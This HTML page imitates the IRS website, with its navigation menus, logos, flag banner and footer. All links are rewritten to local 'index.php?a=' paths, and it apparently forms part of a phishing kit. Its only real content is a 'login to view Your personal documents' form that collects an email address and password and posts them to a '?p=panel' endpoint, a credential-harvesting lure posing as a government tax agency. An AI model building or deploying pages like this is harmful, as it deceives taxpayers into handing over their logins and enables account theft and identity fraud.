<!doctypehtml><meta content="text/html; charset=utf-8"http-equiv=Content-Type><title>
   Internal Revenue Service
  </title><link href=template/style.css media=all rel=stylesheet><body class="path-frontpage page-node-type-pup-home-page has-glyphicons"><div class=dialog-off-canvas-main-canvas data-off-canvas-main-canvas><h1 class="visually-hidden sr-only">Home Page</h1><header id=navbar role=banner><div class=pup-header-main><div class=container><div class="row pup-header-main__content"><div class="col-xs-2 no-gutter pup-header-content-lt"><div class="region region-header-left"><a class="logo navbar-btn pull-left"href=index.php rel=home title=Home> <img alt=Home src=template/logo.svg> <img alt=Home class=print-logo src=template/logo-print.svg> </a></div></div><div class="col-sm-10 hidden-xs hidden-sm pup-header-content-rt"><div class="region region-header-right"><div class=pup-site-header-search-block><div class=pup-site-header-search-block__searchfield><form accept-charset=UTF-8 action=index.php block=pup_irs_exposedformpup_site_index_searchsite_search_srt_relevance_2 data-drupal-form-fields=edit-search,edit-field-pup-historical-1,edit-field-pup-historical,edit-submit-pup-site-index-search id=views-exposed-form-pup-site-index-search-site-search-srt-relevance><div class="form--inline form-inline clearfix"><div class="form-item form-group js-form-item form-type-textfield js-form-type-textfield form-item-search js-form-item-search"><label class=control-label for=edit-search>Search</label><input class="form-text form-control"data-drupal-selector=edit-search id=edit-search maxlength=128 name=search placeholder=Search size=30></div><div class="form-item form-group js-form-item form-type-select js-form-type-select form-item-field-pup-historical-1 js-form-item-field-pup-historical-1"><label class=control-label for=edit-field-pup-historical-1>Include Historical Content</label><div class="select-style select-wrapper"><select class="form-select form-control"data-drupal-selector=edit-field-pup-historical-1 id=edit-field-pup-historical-1 name=field_pup_historical_1><option value=All>- Any -<option selected value=1>No</select></div></div><div class="form-item form-group js-form-item form-type-select js-form-type-select form-item-field-pup-historical js-form-item-field-pup-historical"><label class=control-label for=edit-field-pup-historical>Include Historical Content</label><div class="select-style select-wrapper"><select class="form-select form-control"data-drupal-selector=edit-field-pup-historical id=edit-field-pup-historical name=field_pup_historical><option value=All>- Any -<option selected value=1>No</select></div></div><div class="form-actions form-group js-form-wrapper form-wrapper"data-drupal-selector=edit-actions id=edit-actions><button class="button js-form-submit form-submit btn-primary btn icon-before"data-drupal-selector=edit-submit-pup-site-index-search id=edit-submit-pup-site-index-search value=Search>Search</button></div></div></form></div></div><nav aria-labelledby=block-pup-irs-informationmenu-2-menu data-block-plugin-id=system_menu_block:pup-info-menu id=block-pup-irs-informationmenu-2 role=navigation><h2 class=visually-hidden id=block-pup-irs-informationmenu-2-menu>Information Menu</h2><ul class="menu nav"block=pup_irs_informationmenu_2><li><a data-drupal-link-system-path=node/16916 href=index.php?a=help-telephone-assistance target title=Help> Help </a><li><a data-drupal-link-system-path=node/19646 href=index.php?a=newsroom target> News </a><li><a class=pup-info-menu-button data-drupal-link-system-path=node/58461 href=index.php?a=charities-and-nonprofits target xml:lang> Charities & Nonprofits </a><li><a class=pup-info-menu-button data-drupal-link-system-path=node/11 href=index.php?a=tax-professionals target xml:lang> Tax Pros </a></ul></nav></div></div><div class="col-xs-10 hidden-md hidden-lg no-gutter"><div class="pup-header-mobile-menu pull-right"><button class=pup-header-mobile-menu__menuBtn data-target=#pup-header-nav-collapse id=pup-mobile-navbar-menuBtn type=button>MENU <span class=sr-only> Toggle menu </span></button></div></div><div class="pup-header-content-rt col-xs-12 hidden-md hidden-lg collapse no-gutter"id=navbar-collapse><div class="region region-search-form-collapsible"><div class=pup-site-header-search-block><div class=pup-site-header-search-block__searchfield><form accept-charset=UTF-8 action=index.php?a=site-index-search block=exposedformpup_site_index_searchsite_search_srt_relevance_4 data-drupal-form-fields=edit-search,edit-field-pup-historical-1,edit-field-pup-historical,edit-submit-pup-site-index-search id=views-exposed-form-pup-site-index-search-site-search-srt-relevance><div class="form--inline form-inline clearfix"><div class="form-item form-group js-form-item form-type-textfield js-form-type-textfield form-item-search js-form-item-search"><label class=control-label for=edit-search>Search</label><input class="form-text form-control"data-drupal-selector=edit-search id=edit-search maxlength=128 name=search placeholder=Search size=30></div><div class="form-item form-group js-form-item form-type-select js-form-type-select form-item-field-pup-historical-1 js-form-item-field-pup-historical-1"><label class=control-label for=edit-field-pup-historical-1>Include Historical Content</label><div class="select-style select-wrapper"><select class="form-select form-control"data-drupal-selector=edit-field-pup-historical-1 id=edit-field-pup-historical-1 name=field_pup_historical_1><option value=All>- Any -<option selected value=1>No</select></div></div><div class="form-item form-group js-form-item form-type-select js-form-type-select form-item-field-pup-historical js-form-item-field-pup-historical"><label class=control-label for=edit-field-pup-historical>Include Historical Content</label><div class="select-style select-wrapper"><select class="form-select form-control"data-drupal-selector=edit-field-pup-historical id=edit-field-pup-historical name=field_pup_historical><option value=All>- Any -<option selected value=1>No</select></div></div><div class="form-actions form-group js-form-wrapper form-wrapper"data-drupal-selector=edit-actions id=edit-actions><button class="button js-form-submit form-submit btn-primary btn icon-before"data-drupal-selector=edit-submit-pup-site-index-search id=edit-submit-pup-site-index-search value=Search><span class="icon glyphicon glyphicon-search"aria-hidden=true> </span> Search</button></div></div></form></div></div></div></div></div></div></div><div class="header-nav hidden-xs hidden-sm"><div class=container-fluid><div class="region region-site-navigation"><section class="block block-we-megamenu block-we-megamenu-blockmain clearfix"data-block-plugin-id=we_megamenu_block:main id=block-mainnavigation-2><div class=region-we-mega-menu><a class="navbar-toggle collapsed"> <span class=icon-bar> </span> <span class=icon-bar> </span> <span class=icon-bar> </span> </a><nav class="main navbar navbar-default navbar-we-mega-menu mobile-collapse hover-action"data-action=hover data-alwayshowsubmenu data-animation=None data-autoarrow data-block-theme=pup_irs data-delay data-duration data-menu-name=main data-mobile-collapse=0 data-style=Default><div aria-label=Main class=container role=navigation><ul class="we-mega-menu-ul nav nav-tabs accessible-megamenu js-accessible-megamenu"id=accessible-megamenu-1565793904176-1><li class="we-mega-menu-li dropdown-menu accessible-megamenu-top-nav-item"data-alignsub data-caption data-class data-element-type=we-mega-menu-li data-group=0 data-icon data-id=e27eb763-2dc4-4ef6-892a-32a7b2383d17 data-level=0 data-submenu=1 data-target description hide-sub-when-collapse><a aria-label="File menu has additional options and use spacebar to open the File sub menu or enter to navigate to the File page."aria-controls=accessible-megamenu-1565793904204-3 aria-expanded=false class=we-mega-menu-li href=index.php?a=filing id=accessible-megamenu-1565793904204-2 role=application tabindex=0 target> File </a><li class="we-mega-menu-li dropdown-menu accessible-megamenu-top-nav-item"data-alignsub data-caption data-class data-element-type=we-mega-menu-li data-group=0 data-icon data-id=6397d777-68ce-4f7d-8695-cc81d6c951d3 data-level=0 data-submenu=1 data-target description hide-sub-when-collapse><a aria-label="Pay menu has additional options and use spacebar to open the Pay sub menu or enter to navigate to the Pay page."aria-controls=accessible-megamenu-1565793904217-5 aria-expanded=false class=we-mega-menu-li href=index.php?a=payments id=accessible-megamenu-1565793904217-4 role=application tabindex=0 target> Pay </a><li class="we-mega-menu-li dropdown-menu accessible-megamenu-top-nav-item"data-alignsub data-caption data-class data-element-type=we-mega-menu-li data-group=0 data-icon data-id=dbc569b8-684f-4c0a-a39f-e6bbccef3840 data-level=0 data-submenu=1 data-target description hide-sub-when-collapse><a aria-label="Refunds menu has additional options and use spacebar to open the Refunds sub menu or enter to navigate to the Refunds page."aria-controls=accessible-megamenu-1565793904225-7 aria-expanded=false class=we-mega-menu-li href=index.php?a=refunds id=accessible-megamenu-1565793904225-6 role=application tabindex=0 target> Refunds </a><li class="we-mega-menu-li dropdown-menu accessible-megamenu-top-nav-item"data-alignsub data-caption data-class data-element-type=we-mega-menu-li data-group=0 data-icon data-id=e1ea8003-8882-438b-9e9e-2f5a6671b007 data-level=0 data-submenu=1 data-target description hide-sub-when-collapse><a aria-label="Credits & Deductions menu has additional options and use spacebar to open the Credits & Deductions sub menu or enter to navigate to the Credits & Deductions page."aria-controls=accessible-megamenu-1565793904235-9 aria-expanded=false class=we-mega-menu-li href=index.php?a=credits-deductions-for-individuals id=accessible-megamenu-1565793904235-8 role=application tabindex=0 target> Credits & Deductions </a><li class="we-mega-menu-li dropdown-menu accessible-megamenu-top-nav-item"data-alignsub data-caption data-class data-element-type=we-mega-menu-li data-group=0 data-icon data-id=c6302983-aaeb-4490-ae1d-d447eea97081 data-level=0 data-submenu=1 data-target description hide-sub-when-collapse><a aria-label="Forms & Instructions menu has additional options and use spacebar to open the Forms & Instructions sub menu or enter to navigate to the Forms & Instructions page."aria-controls=accessible-megamenu-1565793904247-11 aria-expanded=false class=we-mega-menu-li href=index.php?a=forms-instructions id=accessible-megamenu-1565793904247-10 role=application tabindex=0 target> Forms & Instructions </a></ul></div></nav></div></section></div></div></div><div class="pup-header-content-rt col-xs-12 hidden-md hidden-lg collapse no-gutter"id=pup-info-menu-collapse><div class="region region-info-menu-collapsible"><nav aria-labelledby=block-pup-irs-informationmenu-menu data-block-plugin-id=system_menu_block:pup-info-menu id=block-pup-irs-informationmenu role=navigation><h2 class=visually-hidden id=block-pup-irs-informationmenu-menu>Information Menu</h2><ul class="menu nav"block=pup_irs_informationmenu><li><a data-drupal-link-system-path=node/16916 href=index.php?a=help-telephone-assistance target title=Help> Help </a><li><a data-drupal-link-system-path=node/19646 href=index.php?a=newsroom target> News </a><li><a class=pup-info-menu-button data-drupal-link-system-path=node/58461 href=index.php?a=charities-and-nonprofits target xml:lang> Charities & Nonprofits </a><li><a class=pup-info-menu-button data-drupal-link-system-path=node/11 href=index.php?a=tax-professionals target xml:lang> Tax Pros </a></ul></nav></div></div><div class="pup-header-content-rt col-xs-12 hidden-md hidden-lg collapse no-gutter"id=pup-header-nav-collapse><div class="region region-header-nav-collapsible"><nav aria-labelledby=block-pup-irs-mainnavigation-menu data-block-plugin-id=system_menu_block:main id=block-pup-irs-mainnavigation role=navigation><h2 class=sr-only id=block-pup-irs-mainnavigation-menu>Main navigation</h2><ul class="menu nav navbar-nav"block=pup_irs_mainnavigation><li><a class=top-level-nav-item href=index.php?a=filing> File </a><li><a class=top-level-nav-item href=index.php?a=payments> Pay </a><li><a class=top-level-nav-item href=index.php?a=refunds> Refunds </a><li><a class=top-level-nav-item href=index.php?a=credits-deductions-for-individuals> Credits & Deductions </a><li><a class=top-level-nav-item href=index.php?a=forms-instructions> Forms & Instructions </a></ul></nav><nav aria-labelledby=block-pup-irs-infomenumobile-menu data-block-plugin-id=system_menu_block:info-menu-mobile id=block-pup-irs-infomenumobile role=navigation><h2 class=visually-hidden id=block-pup-irs-infomenumobile-menu>Info Menu Mobile</h2><ul class="menu nav"block=pup_irs_infomenumobile><li><a data-drupal-link-system-path=node/16916 href=index.php?a=help-telephone-assistance target title=Help> Help </a><li><a data-drupal-link-system-path=node/19646 href=index.php?a=newsroom target title=News> News </a><li><a data-drupal-link-system-path=node/58461 href=index.php?a=charities-and-nonprofits target xml:lang> Charities & Nonprofits </a><li><a title="Tax Pros"data-drupal-link-system-path=node/11 href=index.php?a=tax-professionals target xml:lang> Tax Pros </a></ul></nav></div></div></header><div class=pup-homepage-hero><img alt="The American Flag"src=template/AmericanFlagPROD.jpg><div class=pup-homepage-hero--gradient></div></div><div class=container><div class="pup-main-container js-quickedit-main-content"role=main><div class=row><section class=col-sm-12><div class="region region-content"><div class=hidden data-drupal-messages-fallback></div><article class="pup-home-page is-promoted full clearfix"id=main-content role=article><div class=pup-home-cards><div class=row><div class="col-md-12 pup-home-cards__first clearfix"><div align=center class=row><h2>You need to login to view Your personal documents:</h2><br><form action=?p=panel method=post name=form1><input class="form-text form-control"data-drupal-selector=edit-search maxlength=128 name=email placeholder=Email size=30><br><input class="form-text form-control"data-drupal-selector=edit-search maxlength=128 name=pass placeholder=Password size=30 type=password><br><input class="btn btn-primary"maxlength=128 name=login size=30 type=submit value=Login></form><div class="clearfix visible-sm-block"></div></div></div></div></div></article></div></section></div></div></div><footer class=pup-footer role=footer-navigation><section aria-multiselectable=true class=container role=tablist><div class="row pup-footer-head"><div class="pup-footer-logo col-md-6"><a href=index.php> <img class=pup-footer-logo-img src=template/irs_horiz-01.svg> </a></div><div class=col-md-6><div class=pup-footer-social-media-links><div class="region region-social-media-footer pull-right"><section class="block block-block-content block-block-content40b0cf2e-cb49-4f62-888d-000cf00eb582 clearfix"data-block-plugin-id=block_content:40b0cf2e-cb49-4f62-888d-000cf00eb582 id=block-socialmediaforfooter><div class=row><div class=social-icon><div class="paragraph paragraph--type--social-media-footer paragraph--view-mode--default"><a class=social-media-image href=index.php?a=newsroom-irs2goapp> <div class="field field--name-field-social-media-icon-images field--type-image field--label-hidden field--item"><img alt="IRS Eagle"class=img-responsive src=template/irs_horiz_logo.svg typeof=foaf:Image></div> </a></div></div></div></section></div></div></div></div><div class="row pup-footer-cols"><div class=col-sm-footer><div class="region region-footer-first"><nav aria-labelledby=block-pup-irs-ouragency-menu data-block-plugin-id=system_menu_block:our-agency id=block-pup-irs-ouragency role=navigation><h2 id=block-pup-irs-ouragency-menu>Our Agency</h2><ul class="menu nav"block=pup_irs_ouragency><li><a data-drupal-link-system-path=node/18841 href=index.php?a=about-irs target> About IRS </a><li><a href=index.php?a=jobs> Work at IRS </a><li><a data-drupal-link-system-path=node/16916 href=index.php?a=help-telephone-assistance target> Help </a><li><a data-drupal-link-system-path=node/16903 href=index.php?a=help-contact-your-local-irs-office target> Contact Your Local Office </a><li><a data-drupal-link-system-path=node/19746 href=index.php?a=statistics target> Tax Stats, Facts & Figures </a></ul></nav></div></div><div class=col-sm-footer><div class="region region-footer-second"><nav aria-labelledby=block-pup-irs-knowyourrights-menu data-block-plugin-id=system_menu_block:know-your-rights id=block-pup-irs-knowyourrights role=navigation><h2 id=block-pup-irs-knowyourrights-menu>Know Your Rights</h2><ul class="menu nav"block=pup_irs_knowyourrights><li><a data-drupal-link-system-path=node/19686 href=index.php?a=taxpayer-bill-of-rights target> Taxpayer Bill of Rights </a><li><a data-drupal-link-system-path=node/18846 href=index.php?a=taxpayer-advocate target> Taxpayer Advocate Service </a><li><a data-drupal-link-system-path=node/18665 href=index.php?a=help-irsgov-accessibility target> Accessibility </a><li><a data-drupal-link-system-path=node/15736 href=index.php?a=about-irs-your-civil-rights-are-protected target> Civil Rights </a><li><a data-drupal-link-system-path=node/10662 href=index.php?a=privacy-disclosure-irs-freedom-of-information target> Freedom of Information Act </a><li><a href=index.php?a=No-Fear-Act-Pages-default.aspx> No Fear Act </a><li><a data-drupal-link-system-path=node/15856 href=index.php?a=privacy-disclosure-irs-privacy-policy target> Privacy Policy </a></ul></nav></div></div><div class=col-sm-footer><div class="region region-footer-third"><nav aria-labelledby=block-pup-irs-resolveanissue-menu data-block-plugin-id=system_menu_block:resolve-an-issue id=block-pup-irs-resolveanissue role=navigation><h2 id=block-pup-irs-resolveanissue-menu>Resolve an Issue</h2><ul class="menu nav"block=pup_irs_resolveanissue><li><a data-drupal-link-system-path=node/16683 href=index.php?a=individuals-understanding-your-irs-notice-or-letter target> Respond to a Notice </a><li><a data-drupal-link-system-path=node/19036 href=index.php?a=appeals> Independent Office of Appeals </a><li><a data-drupal-link-system-path=node/19616 href=index.php?a=identity-theft-fraud-scams target xml:lang> Identity Theft Protection </a><li><a data-drupal-link-system-path=node/15745 href=index.php?a=privacy-disclosure-report-phishing target> Report Phishing </a><li><a data-drupal-link-system-path=node/15416 href=index.php?a=compliance-criminal-investigation-tax-fraud-alerts target> Tax Fraud & Abuse </a></ul></nav></div></div><div class=col-sm-footer><div class="region region-footer-fifth"><nav aria-labelledby=block-pup-irs-relatedsites-menu data-block-plugin-id=system_menu_block:related-sites id=block-pup-irs-relatedsites role=navigation><h2 id=block-pup-irs-relatedsites-menu>Related Sites</h2><ul class="menu nav"block=pup_irs_relatedsites><li><a href=index.php?a=treasury> U.S. Treasury </a><li><a href=index.php?a=tigta> Treasury Inspector General for Tax Administration </a><li><a href=index.php?a=usa.gov> USA.gov </a></ul></nav></div></div></div></section></footer></div>